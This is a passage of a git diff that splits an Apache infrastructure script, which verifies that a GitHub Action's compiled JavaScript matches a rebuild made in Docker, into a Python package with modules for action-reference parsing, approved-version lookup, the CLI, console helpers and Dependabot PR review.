" - "this appears to be a new action[/dim]" - ) - - # Show verification summary - show_verification_summary( - org, repo, commit_hash, sub_path, - action_type, is_js_action, all_match, - non_js_warnings if not is_js_action else None, - checked_actions if checked_actions else None, - checks_performed, - ci_mode=ci_mode, - ) - - # Final result banner - console.print() - checklist_hint = f"\n[dim]Security review checklist: {SECURITY_CHECKLIST_URL}[/dim]" - if all_match: - if is_js_action: - if has_node_modules: - result_msg = "[green bold]Vendored node_modules matches fresh install[/green bold]" - else: - result_msg = "[green bold]All compiled JavaScript matches the rebuild[/green bold]" - else: - if non_js_warnings: - result_msg = ( - f"[yellow bold]{action_type} action — {len(non_js_warnings)} warning(s) " - f"found during analysis (review above)[/yellow bold]" - ) - else: - result_msg = ( - f"[green bold]{action_type} action — all checks passed[/green bold]" - ) - border = "yellow" if not is_js_action and non_js_warnings else "green" - console.print(Panel(result_msg + checklist_hint, border_style=border, title="RESULT")) - else: - console.print( - Panel( - "[red bold]Differences detected between published and rebuilt JS[/red bold]" - + checklist_hint, - border_style="red", - title="RESULT", - ) - ) - - return all_match - - -def extract_action_refs_from_pr(pr_number: int, gh: GitHubClient | None = None) -> list[str]: - """Extract all new action org/repo[/sub]@hash refs from a PR diff. - - Looks in two places: - 1. Workflow files: ``uses: org/repo@hash`` lines - 2. actions.yml: top-level ``org/repo:`` keys followed by indented commit hashes - - Returns a deduplicated list of action references found in added lines. - """ - if gh is None: - return [] - diff_text = gh.get_pr_diff(pr_number) - if not diff_text: - return [] - - seen: set[str] = set() - refs: list[str] = [] - - # Track the current action key from actions.yml for multi-line matching - # Format: - # +org/repo: - # + <40-hex-hash>: - actions_yml_key: str | None = None - - for line in diff_text.splitlines(): - # --- Workflow files: uses: org/repo@hash --- - # Also match 'use:' (common typo for 'uses:') - match = re.search(r"^\+.*uses?:\s+([^@\s]+)@([0-9a-f]{40})", line) - if match: - action_path = match.group(1) - commit_hash = match.group(2) - ref = f"{action_path}@{commit_hash}" - if ref not in seen: - seen.add(ref) - refs.append(ref) - continue - - # --- actions.yml: org/repo: as top-level key --- - # Match added lines like: +org/repo: or +org/repo/sub: - key_match = re.match(r"^\+([a-zA-Z0-9_.-]+/[a-zA-Z0-9_./-]+):\s*$", line) - if key_match: - actions_yml_key = key_match.group(1).rstrip("/") - continue - - # Match indented hash under the current key: + <40-hex>: - if actions_yml_key: - hash_match = re.match(r"^\+\s+['\"]?([0-9a-f]{40})['\"]?:\s*$", line) - if hash_match: - commit_hash = hash_match.group(1) - ref = f"{actions_yml_key}@{commit_hash}" - if ref not in seen: - seen.add(ref) - refs.append(ref) - continue - - # Still under the same key if the line is an added indented property - # (e.g. + tag: v1.0.0) — don't reset - if re.match(r"^\+\s{4,}", line): - continue - - # Any other line resets the key context - actions_yml_key = None - - return refs - - -def get_gh_user(gh: GitHubClient | None = None) -> str: - """Get the currently authenticated GitHub username.""" - if gh is None: - return "unknown" - return gh.get_authenticated_user() - - -def check_dependabot_prs(gh: GitHubClient, cache: bool = True, show_build_steps: bool = False) -> None: - """List open dependabot PRs, verify each, and optionally merge.""" - console.print() - console.rule("[bold]Dependabot PR Review[/bold]") - - with console.status("[bold blue]Fetching open dependabot PRs...[/bold blue]"): - all_prs = gh.list_open_prs(author="app/dependabot") - - if not all_prs: - console.print("[green]No open dependabot PRs found[/green]") - return - - # Separate eligible PRs from excluded ones - eligible_prs: list[dict] = [] - excluded_prs: list[tuple[dict, str]] = [] # (pr, reason) - - for pr in all_prs: - # Check for "changes requested" reviews - if pr.get("reviewDecision") == "CHANGES_REQUESTED": - excluded_prs.append((pr, "changes requested by reviewer")) - continue - - # Check for failed status checks - checks = pr.get("statusCheckRollup", []) or [] - failed_checks = [ - c.get("name", "unknown") - for c in checks - if c.get("conclusion") in ("FAILURE", "ERROR", "CANCELLED") - and c.get("status") == "COMPLETED" - ] - if failed_checks: - excluded_prs.append((pr, f"failed checks: {', '.join(failed_checks)}")) - continue - - eligible_prs.append(pr) - - # Show excluded PRs first - if excluded_prs: - console.print() - console.print("[bold]Excluded PRs:[/bold]") - exc_table = Table(show_header=True, border_style="yellow") - exc_table.add_column("PR", style="bold", min_width=8) - exc_table.add_column("Title") - exc_table.add_column("Reason", style="yellow") - - for pr, reason in excluded_prs: - pr_link = link(pr["url"], f"#{pr['number']}") - exc_table.add_row(pr_link, pr["title"], reason) - - console.print(exc_table) - console.print( - f"\n [dim]{len(excluded_prs)} PR(s) excluded — these need manual attention " - f"(resolve review comments or fix failing checks first)[/dim]" - ) - - if not eligible_prs: - console.print("\n[yellow]No eligible dependabot PRs to review[/yellow]") - return - - prs = eligible_prs - - # Display eligible PRs - console.print() - console.print("[bold]Eligible PRs:[/bold]") - table = Table(show_header=True, border_style="blue") - table.add_column("#", style="bold", min_width=5) - table.add_column("Title") - table.add_column("PR", min_width=8) - - for pr in prs: - pr_link = link(pr["url"], f"#{pr['number']}") - table.add_row(str(pr["number"]), pr["title"], pr_link) - - console.print(table) - console.print(f"\n [dim]{len(prs)} eligible PR(s) to review[/dim]") - - try: - if not ask_confirm("\n Review these PRs?"): - return - except UserQuit: - return - - gh_user = get_gh_user(gh=gh) - reviewed: list[dict] = [] - failed: list[dict] = [] - - for pr in prs: - console.print() - pr_link = link(f"https://github.com/apache/infrastructure-actions/pull/{pr['number']}", f"#{pr['number']}") - console.rule(f"[bold]PR {pr_link}: {pr['title']}[/bold]") - - # Extract all action references from PR diff - with console.status("[bold blue]Extracting action references from PR...[/bold blue]"): - action_refs = extract_action_refs_from_pr(pr["number"], gh=gh) - - if not action_refs: - console.print( - f" [yellow]Could not extract action reference from PR {pr_link} — skipping[/yellow]" - ) - continue - - for ref in action_refs: - console.print(f" Action: [bold]{ref}[/bold]") - - # Group refs by org/repo@hash to detect monorepo sub-actions - # For a PR with gradle/actions/setup-gradle@abc and gradle/actions/dependency-submission@abc, - # we verify once via the first ref, passing all sub-paths as siblings - refs_by_base: dict[str, list[str]] = {} - for ref in action_refs: - org, repo, sub_path, commit_hash = parse_action_ref(ref) - base_key = f"{org}/{repo}@{commit_hash}" - refs_by_base.setdefault(base_key, []).append(sub_path) - - # Run verification - passed = True - for base_key, sub_paths in refs_by_base.items(): - org_repo, commit_hash = base_key.rsplit("@", 1) - if any(sub_paths): - # Monorepo with sub-actions — verify each sub-action directly - console.print() - console.print( - Panel( - f"[cyan]Monorepo action — verifying " - f"{len(sub_paths)} sub-action(s): " - f"{', '.join(sp for sp in sub_paths if sp)}[/cyan]", - border_style="cyan", - title="MONOREPO", - ) - ) - for sp in sub_paths: - if sp: - sub_ref = f"{org_repo}/{sp}@{commit_hash}" - else: - sub_ref = f"{org_repo}@{commit_hash}" - if not verify_single_action(sub_ref, gh=gh, cache=cache, show_build_steps=show_build_steps): - passed = False - else: - # Simple single action (no sub-path) - if not verify_single_action(f"{org_repo}@{commit_hash}", gh=gh, cache=cache, show_build_steps=show_build_steps): - passed = False - - if not passed: - console.print( - f"\n [red]Verification failed for PR {pr_link} — skipping merge[/red]" - ) - failed.append(pr) - continue - - # Ask to merge - try: - if not ask_confirm(f"\n Merge PR {pr_link}?"): - console.print(f" [dim]Skipped merging PR {pr_link}[/dim]") - continue - except UserQuit: - console.print(f" [dim]Quitting review[/dim]") - break - - # Add review comment and merge - verified_list = "\n".join(f"- `{ref}`" for ref in action_refs) - comment = ( - f"Reviewed by @{gh_user} using `verify-action-build.py`.\n\n" - f"Verified:\n{verified_list}\n\n" - f"- All CI/status checks were passing\n" - f"- No review changes were requested\n" - f"- Compiled JavaScript was rebuilt in an isolated Docker container " - f"and compared against the published version\n" - f"- Source changes between the previously approved version and this commit " - f"were reviewed\n\n" - f"Approving and merging." - ) - - console.print(f" [dim]Adding review comment...[/dim]") - if not gh.approve_pr(pr["number"], comment): - console.print(f" [yellow]Warning: could not add review comment[/yellow]") - - console.print(f" [dim]Merging PR {pr_link}...[/dim]") - success, err = gh.merge_pr(pr["number"]) - if success: - console.print(f" [green]✓ PR {pr_link} merged successfully[/green]") - reviewed.append(pr) - else: - console.print( - f" [red]Failed to merge PR {pr_link}: {err}[/red]" - ) - failed.append(pr) - - # Summary - console.print() - console.rule("[bold]Dependabot Review Summary[/bold]") - if reviewed: - console.print( - Panel( - "\n".join(f" ✓ #{pr['number']} — {pr['title']}" for pr in reviewed), - title="[green bold]Merged[/green bold]", - border_style="green", - padding=(0, 1), - ) - ) - if failed: - console.print( - Panel( - "\n".join(f" ✗ #{pr['number']} — {pr['title']}" for pr in failed), - title="[red bold]Failed / Skipped[/red bold]", - border_style="red", - padding=(0, 1), - ) - ) - - -def _exit(code: int) -> None: - console.print(f"Exit code: {code}") - sys.exit(code) - - -def main() -> None: - parser = argparse.ArgumentParser( - description="Verify compiled JS in a GitHub Action matches a local rebuild.", - usage="uv run %(prog)s [org/repo@commit_hash | --check-dependabot-prs | --from-pr N]", - epilog=f"Security review checklist: {SECURITY_CHECKLIST_URL}", - ) - parser.add_argument( - "action_ref", - nargs="?", - help="Action reference in org/repo@commit_hash format", - ) - parser.add_argument( - "--check-dependabot-prs", - action="store_true", - help="Review open dependabot PRs: verify each action, optionally approve and merge", - ) - parser.add_argument( - "--no-gh", - action="store_true", - help="Use the GitHub REST API via requests instead of the gh CLI", - ) - parser.add_argument( - "--github-token", - default=os.environ.get("GITHUB_TOKEN"), - help="GitHub token for API access (default: $GITHUB_TOKEN env var). Required with --no-gh", - ) - parser.add_argument( - "--from-pr", - type=int, - metavar="N", - help="Extract action reference from PR #N and verify it", - ) - parser.add_argument( - "--ci", - action="store_true", - help="Non-interactive mode: skip all prompts, auto-select defaults (for CI pipelines)", - ) - parser.add_argument( - "--no-cache", - action="store_true", - help="Build Docker image from scratch without using layer cache", - ) - parser.add_argument( - "--show-build-steps", - action="store_true", - help="Show Docker build step summary on successful builds (always shown on failure)", - ) - args = parser.parse_args() - - ci_mode = args.ci - cache = not args.no_cache - show_build_steps = args.show_build_steps - - if not shutil.which("docker"): - console.print("[red]Error:[/red] docker is required but not found in PATH") - _exit(1) - - # Build the GitHub client - if args.no_gh: - if not args.github_token: - console.print( - "[red]Error:[/red] --no-gh requires a GitHub token. " - "Pass --github-token TOKEN or set the GITHUB_TOKEN environment variable." - ) - _exit(1) - gh = GitHubClient(token=args.github_token) - else: - if not shutil.which("gh"): - console.print( - "[red]Error:[/red] gh (GitHub CLI) is not installed. " - "Either install gh or use --no-gh with a --github-token." - ) - _exit(1) - gh = GitHubClient(token=args.github_token) - - if args.from_pr: - action_refs = extract_action_refs_from_pr(args.from_pr, gh=gh) - if not action_refs: - console.print(f"[red]Error:[/red] could not extract action reference from PR #{args.from_pr}") - _exit(1) - for ref in action_refs: - console.print(f" Extracted action reference from PR #{args.from_pr}: [bold]{ref}[/bold]") - passed = all(verify_single_action(ref, gh=gh, ci_mode=ci_mode, cache=cache, show_build_steps=show_build_steps) for ref in action_refs) - _exit(0 if passed else 1) - elif args.check_dependabot_prs: - check_dependabot_prs(gh=gh, cache=cache, show_build_steps=show_build_steps) - elif args.action_ref: - passed = verify_single_action(args.action_ref, gh=gh, ci_mode=ci_mode, cache=cache, show_build_steps=show_build_steps) - _exit(0 if passed else 1) - else: - parser.print_help() - _exit(1) - - -if __name__ == "__main__": - main() diff --git a/utils/verify_action_build/__init__.py b/utils/verify_action_build/__init__.py new file mode 100644 index 00000000..083f6556 --- /dev/null +++ b/utils/verify_action_build/__init__.py @@ -0,0 +1,33 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Verify that compiled JavaScript in a GitHub Action matches a local rebuild. + +Checks out the action at a given commit hash inside an isolated Docker container, +rebuilds it, and diffs the published compiled JS against the locally built output. + +Usage: + uv run verify-action-build dorny/test-reporter@df6247429542221bc30d46a036ee47af1102c451 + +Security review checklist: + https://github.com/apache/infrastructure-actions#security-review-checklist +""" + +from .cli import main + +__all__ = ["main"] diff --git a/utils/verify_action_build/__main__.py b/utils/verify_action_build/__main__.py new file mode 100644 index 00000000..2e790071 --- /dev/null +++ b/utils/verify_action_build/__main__.py @@ -0,0 +1,23 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Allow running as ``python -m verify_action_build``.""" + +from .cli import main + +main() diff --git a/utils/verify_action_build/action_ref.py b/utils/verify_action_build/action_ref.py new file mode 100644 index 00000000..fa34f91a --- /dev/null +++ b/utils/verify_action_build/action_ref.py @@ -0,0 +1,133 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Parsing action references and extracting metadata from action.yml files.""" + +import re +import sys + +import requests + +from .console import console + + +def parse_action_ref(ref: str) -> tuple[str, str, str, str]: + """Parse org/repo[/sub_path]@hash into (org, repo, sub_path, hash). + + sub_path is empty string for top-level actions (e.g. ``dorny/test-reporter@abc``), + or a relative path for monorepo sub-actions (e.g. ``gradle/actions/setup-gradle@abc`` + yields sub_path="setup-gradle"). + """ + if "@" not in ref: + console.print(f"[red]Error:[/red] invalid format '{ref}', expected org/repo@hash") + sys.exit(1) + action_path, commit_hash = ref.rsplit("@", 1) + parts = action_path.split("/") + if len(parts) < 2: + console.print(f"[red]Error:[/red] invalid action path '{action_path}', expected org/repo") + sys.exit(1) + org, repo = parts[0], parts[1] + sub_path = "/".join(parts[2:]) + return org, repo, sub_path, commit_hash + + +def fetch_action_yml(org: str, repo: str, commit_hash: str, sub_path: str = "") -> str | None: + """Fetch action.yml content from GitHub at a specific commit.""" + candidates = [] + if sub_path: + candidates.extend([f"{sub_path}/action.yml", f"{sub_path}/action.yaml"]) + candidates.extend(["action.yml", "action.yaml"]) + + for path in candidates: + url = f"https://raw.githubusercontent.com/{org}/{repo}/{commit_hash}/{path}" + try: + resp = requests.get(url, timeout=10) + if resp.ok: + return resp.text + except requests.RequestException: + continue + return None + + +def fetch_file_from_github(org: str, repo: str, commit_hash: str, path: str) -> str | None: + """Fetch a file's content from GitHub at a specific commit.""" + url = f"https://raw.githubusercontent.com/{org}/{repo}/{commit_hash}/{path}" + try: + resp = requests.get(url, timeout=10) + if resp.ok: + return resp.text + except requests.RequestException: + pass + return None + + +def extract_composite_uses(action_yml_content: str) -> list[dict]: + """Extract all uses: references from composite action steps. + + Returns a list of dicts with keys: raw (full string), org, repo, sub_path, + ref, is_hash_pinned, is_local, line_num. + """ + results = [] + for i, line in enumerate(action_yml_content.splitlines(), 1): + match = re.search(r"uses:\s+(.+?)(?:\s*#.*)?$", line.strip()) + if not match: + continue + raw = match.group(1).strip().strip("'\"") + + if raw.startswith("./"): + results.append({ + "raw": raw, "org": "", "repo": "", "sub_path": "", + "ref": "", "is_hash_pinned": True, "is_local": True, + "line_num": i, + }) + continue + + if raw.startswith("docker://"): + results.append({ + "raw": raw, "org": "", "repo": "", "sub_path": "", + "ref": "", "is_hash_pinned": True, "is_local": False, + "line_num": i, "is_docker": True, + }) + continue + + if "@" not in raw: + continue + action_path, ref = raw.rsplit("@", 1) + parts = action_path.split("/") + if len(parts) < 2: + continue + org, repo = parts[0], parts[1] + sub_path = "/".join(parts[2:]) + is_hash = bool(re.match(r"^[0-9a-f]{40}$", ref)) + + results.append({ + "raw": raw, "org": org, "repo": repo, "sub_path": sub_path, + "ref": ref, "is_hash_pinned": is_hash, "is_local": False, + "line_num": i, + }) + + return results + + +def detect_action_type_from_yml(action_yml_content: str) -> str: + """Extract the using: field from an action.yml string.""" + for line in action_yml_content.splitlines(): + m = re.match(r"\s+using:\s*['\"]?(\S+?)['\"]?\s*$", line) + if m: + return m.group(1) + return "unknown" diff --git a/utils/verify_action_build/approved_actions.py b/utils/verify_action_build/approved_actions.py new file mode 100644 index 00000000..810b4d04 --- /dev/null +++ b/utils/verify_action_build/approved_actions.py @@ -0,0 +1,257 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Interaction with the approved-actions database (actions.yml).""" + +import re +import subprocess +from pathlib import Path + +from rich.panel import Panel +from rich.table import Table + +from .console import console, link, ask_confirm, UserQuit +from .github_client import GitHubClient + +# Path to the actions.yml file relative to the package +ACTIONS_YML = Path(__file__).resolve().parent.parent.parent / "actions.yml" + + +def find_approved_versions(org: str, repo: str) -> list[dict]: + """Find previously approved versions of an action in actions.yml. + + Returns a list of dicts with keys: hash, tag, expires_at, keep. + """ + if not ACTIONS_YML.exists(): + return [] + + content = ACTIONS_YML.read_text() + lines = content.splitlines() + + action_key = f"{org}/{repo}:" + approved = [] + in_action = False + current_hash = None + + for line in lines: + stripped = line.strip() + + if line and not line[0].isspace() and not line.startswith("#"): + in_action = stripped == action_key + current_hash = None + continue + + if not in_action: + continue + + if line.startswith(" ") and not line.startswith(" "): + key = stripped.rstrip(":") + clean_key = key.strip("'\"") + if re.match(r"^[0-9a-f]{40}$", clean_key): + current_hash = clean_key + approved.append({"hash": current_hash}) + else: + current_hash = None + continue + + if current_hash and line.startswith(" "): + if stripped.startswith("tag:"): + approved[-1]["tag"] = stripped.split(":", 1)[1].strip() + elif stripped.startswith("expires_at:"): + approved[-1]["expires_at"] = stripped.split(":", 1)[1].strip() + elif stripped.startswith("keep:"): + approved[-1]["keep"] = stripped.split(":", 1)[1].strip() + + return approved + + +def find_approval_info(action_hash: str, gh: GitHubClient | None = None) -> dict | None: + """Find who approved a hash and when, by searching git history and PRs.""" + result = subprocess.run( + ["git", "log", "--all", "--format=%H|%aI|%an|%s", f"-S{action_hash}", "--", "actions.yml"], + capture_output=True, + text=True, + cwd=ACTIONS_YML.parent, + ) + if result.returncode != 0 or not result.stdout.strip(): + return None + + first_line = result.stdout.strip().splitlines()[0] + commit_hash, date, author, subject = first_line.split("|", 3) + + info = { + "commit": commit_hash, + "date": date, + "author": author, + "subject": subject, + } + + if gh is None: + return info + + owner, repo_name = gh.repo.split("/", 1) + pulls = gh.get_commit_pulls(owner, repo_name, commit_hash) + if pulls: + pr_info = pulls[0] + if pr_info.get("number"): + info["pr_number"] = pr_info["number"] + info["pr_title"] = pr_info.get("title", "") + info["merged_by"] = (pr_info.get("merged_by") or {}).get("login", "") + info["merged_at"] = pr_info.get("merged_at", "") + + return info + + +def show_approved_versions( + org: str, repo: str, new_hash: str, approved: list[dict], + gh: GitHubClient | None = None, ci_mode: bool = False, +) -> str | None: + """Display approved versions and ask if user wants to diff against one. + + Returns the selected approved hash, or None. + """ + console.print() + console.rule(f"[bold]Previously Approved Versions of {org}/{repo}[/bold]") + + table = Table(show_header=True, border_style="blue") + table.add_column("Tag", style="cyan") + table.add_column("Commit Hash") + table.add_column("Approved By", style="green") + table.add_column("Approved On") + table.add_column("Via PR") + + for entry in approved: + if entry["hash"] == new_hash: + continue + + approval = find_approval_info(entry["hash"], gh=gh) + + tag = entry.get("tag", "") + hash_link = link(f"https://github.com/{org}/{repo}/commit/{entry['hash']}", entry['hash'][:12]) + + approved_by = "" + approved_on = "" + pr_link = "" + + if approval: + approved_by = approval.get("merged_by") or approval.get("author", "") + approved_on = (approval.get("merged_at") or approval.get("date", ""))[:10] + if "pr_number" in approval: + pr_num = approval["pr_number"] + pr_link = link(f"https://github.com/apache/infrastructure-actions/pull/{pr_num}", f"#{pr_num}") + + table.add_row(tag, hash_link, approved_by, approved_on, pr_link) + + console.print(table) + + other_versions = [v for v in approved if v["hash"] != new_hash] + if not other_versions: + return None + + if ci_mode: + selected = other_versions[-1] + console.print( + f" Auto-selected approved version: [cyan]{selected.get('tag', '')}[/cyan] " + f"({selected['hash'][:12]})" + ) + return selected["hash"] + + try: + if not ask_confirm( + "\nWould you like to see the diff between an approved version and the one being checked?", + ): + return None + except UserQuit: + return None + + if len(other_versions) == 1: + selected = other_versions[0] + console.print( + f" Using approved version: [cyan]{selected.get('tag', '')}[/cyan] " + f"({selected['hash'][:12]})" + ) + return selected["hash"] + + default_idx = len(other_versions) + console.print("\nSelect a version to compare against:") + for i, v in enumerate(other_versions, 1): + tag = v.get("tag", "unknown") + marker = " [bold cyan](default)[/bold cyan]" if i == default_idx else "" + console.print(f" [bold]{i}[/bold]. {tag} ({v['hash'][:12]}){marker}") + + while True: + try: + choice = console.input(f"\nEnter number [{default_idx}], or 'q' to skip: ").strip() + if choice.lower() == "q": + return None + if not choice: + return other_versions[default_idx - 1]["hash"] + idx = int(choice) - 1 + if 0 <= idx < len(other_versions): + return other_versions[idx]["hash"] + except (ValueError, EOFError): + return None + console.print("[red]Invalid choice, try again[/red]") + + +def show_commits_between( + org: str, repo: str, old_hash: str, new_hash: str, + gh: GitHubClient | None = None, +) -> None: + """Show the list of commits between two hashes using GitHub compare API.""" + console.print() + compare_url = f"https://github.com/{org}/{repo}/compare/{old_hash[:12]}...{new_hash[:12]}?file-filters%5B%5D=%21dist" + console.rule("[bold]Commits Between Versions[/bold]") + + raw_commits = gh.compare_commits(org, repo, old_hash, new_hash) if gh else [] + if not raw_commits and not gh: + console.print(f" [yellow]Could not fetch commits. View on GitHub:[/yellow]") + console.print(f" {link(compare_url, compare_url)}") + return + + commits = [ + { + "sha": c.get("sha", ""), + "message": (c.get("commit", {}).get("message", "") or "").split("\n")[0], + "author": c.get("commit", {}).get("author", {}).get("name", ""), + "date": c.get("commit", {}).get("author", {}).get("date", ""), + } + for c in raw_commits + ] + + if not commits: + console.print(f" [dim]No commits found between these versions[/dim]") + return + + table = Table(show_header=True, border_style="blue") + table.add_column("Commit", min_width=14) + table.add_column("Author", style="green") + table.add_column("Date") + table.add_column("Message", max_width=60) + + for c in commits: + sha = c.get("sha", "") + commit_link = link(f"https://github.com/{org}/{repo}/commit/{sha}", sha[:12]) + author = c.get("author", "") + date = c.get("date", "")[:10] + message = c.get("message", "") + table.add_row(commit_link, author, date, message) + + console.print(table) + console.print(f"\n Full comparison (dist/ excluded): {link(compare_url, compare_url)}") + console.print(f" [dim]{len(commits)} commit(s) between versions — dist/ is generated, source changes shown separately below[/dim]") diff --git a/utils/verify_action_build/cli.py b/utils/verify_action_build/cli.py new file mode 100644 index 00000000..86fdb09e --- /dev/null +++ b/utils/verify_action_build/cli.py @@ -0,0 +1,129 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""CLI argument parsing and entry point.""" + +import argparse +import os +import shutil +import sys + +from .console import console +from .dependabot import check_dependabot_prs +from .github_client import GitHubClient +from .pr_extraction import extract_action_refs_from_pr +from .verification import SECURITY_CHECKLIST_URL, verify_single_action + + +def _exit(code: int) -> None: + console.print(f"Exit code: {code}") + sys.exit(code) + + +def main() -> None: + parser = argparse.ArgumentParser( + description="Verify compiled JS in a GitHub Action matches a local rebuild.", + usage="uv run %(prog)s [org/repo@commit_hash | --check-dependabot-prs | --from-pr N]", + epilog=f"Security review checklist: {SECURITY_CHECKLIST_URL}", + ) + parser.add_argument( + "action_ref", + nargs="?", + help="Action reference in org/repo@commit_hash format", + ) + parser.add_argument( + "--check-dependabot-prs", + action="store_true", + help="Review open dependabot PRs: verify each action, optionally approve and merge", + ) + parser.add_argument( + "--no-gh", + action="store_true", + help="Use the GitHub REST API via requests instead of the gh CLI", + ) + parser.add_argument( + "--github-token", + default=os.environ.get("GITHUB_TOKEN"), + help="GitHub token for API access (default: $GITHUB_TOKEN env var). Required with --no-gh", + ) + parser.add_argument( + "--from-pr", + type=int, + metavar="N", + help="Extract action reference from PR #N and verify it", + ) + parser.add_argument( + "--ci", + action="store_true", + help="Non-interactive mode: skip all prompts, auto-select defaults (for CI pipelines)", + ) + parser.add_argument( + "--no-cache", + action="store_true", + help="Build Docker image from scratch without using layer cache", + ) + parser.add_argument( + "--show-build-steps", + action="store_true", + help="Show Docker build step summary on successful builds (always shown on failure)", + ) + args = parser.parse_args() + + ci_mode = args.ci + cache = not args.no_cache + show_build_steps = args.show_build_steps + + if not shutil.which("docker"): + console.print("[red]Error:[/red] docker is required but not found in PATH") + _exit(1) + + # Build the GitHub client + if args.no_gh: + if not args.github_token: + console.print( + "[red]Error:[/red] --no-gh requires a GitHub token. " + "Pass --github-token TOKEN or set the GITHUB_TOKEN environment variable." + ) + _exit(1) + gh = GitHubClient(token=args.github_token) + else: + if not shutil.which("gh"): + console.print( + "[red]Error:[/red] gh (GitHub CLI) is not installed. " + "Either install gh or use --no-gh with a --github-token." + ) + _exit(1) + gh = GitHubClient(token=args.github_token) + + if args.from_pr: + action_refs = extract_action_refs_from_pr(args.from_pr, gh=gh) + if not action_refs: + console.print(f"[red]Error:[/red] could not extract action reference from PR #{args.from_pr}") + _exit(1) + for ref in action_refs: + console.print(f" Extracted action reference from PR #{args.from_pr}: [bold]{ref}[/bold]") + passed = all(verify_single_action(ref, gh=gh, ci_mode=ci_mode, cache=cache, show_build_steps=show_build_steps) for ref in action_refs) + _exit(0 if passed else 1) + elif args.check_dependabot_prs: + check_dependabot_prs(gh=gh, cache=cache, show_build_steps=show_build_steps) + elif args.action_ref: + passed = verify_single_action(args.action_ref, gh=gh, ci_mode=ci_mode, cache=cache, show_build_steps=show_build_steps) + _exit(0 if passed else 1) + else: + parser.print_help() + _exit(1) diff --git a/utils/verify_action_build/console.py b/utils/verify_action_build/console.py new file mode 100644 index 00000000..e1ea0420 --- /dev/null +++ b/utils/verify_action_build/console.py @@ -0,0 +1,60 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Shared console setup, user interaction helpers, and subprocess utilities.""" + +import os +import subprocess + +from rich.console import Console + +_is_ci = os.environ.get("CI") is not None +_ci_console_options = {"force_interactive": False, "width": 200} if _is_ci else {} + +console = Console(stderr=True, force_terminal=_is_ci, **_ci_console_options) +output = Console(force_terminal=_is_ci, **_ci_console_options) + + +def link(url: str, text: str) -> str: + """Return Rich-markup hyperlink, falling back to plain text in CI.""" + if _is_ci: + return text + return f"[link={url}]{text}[/link]" + + +class UserQuit(Exception): + """Raised when user enters 'q' to quit.""" + + +def ask_confirm(prompt: str, default: bool = True) -> bool: + """Ask a y/n/q confirmation. Returns True/False, raises UserQuit on 'q'.""" + suffix = " [Y/n/q]" if default else " [y/N/q]" + try: + answer = console.input(f"{prompt}{suffix} ").strip().lower() + except EOFError: + raise UserQuit + if answer == "q": + raise UserQuit + if not answer: + return default + return answer in ("y", "yes") + + +def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess: + """Run a command, failing on error.""" + return subprocess.run(cmd, check=True, **kwargs) diff --git a/utils/verify_action_build/dependabot.py b/utils/verify_action_build/dependabot.py new file mode 100644 index 00000000..098c7058 --- /dev/null +++ b/utils/verify_action_build/dependabot.py @@ -0,0 +1,229 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT 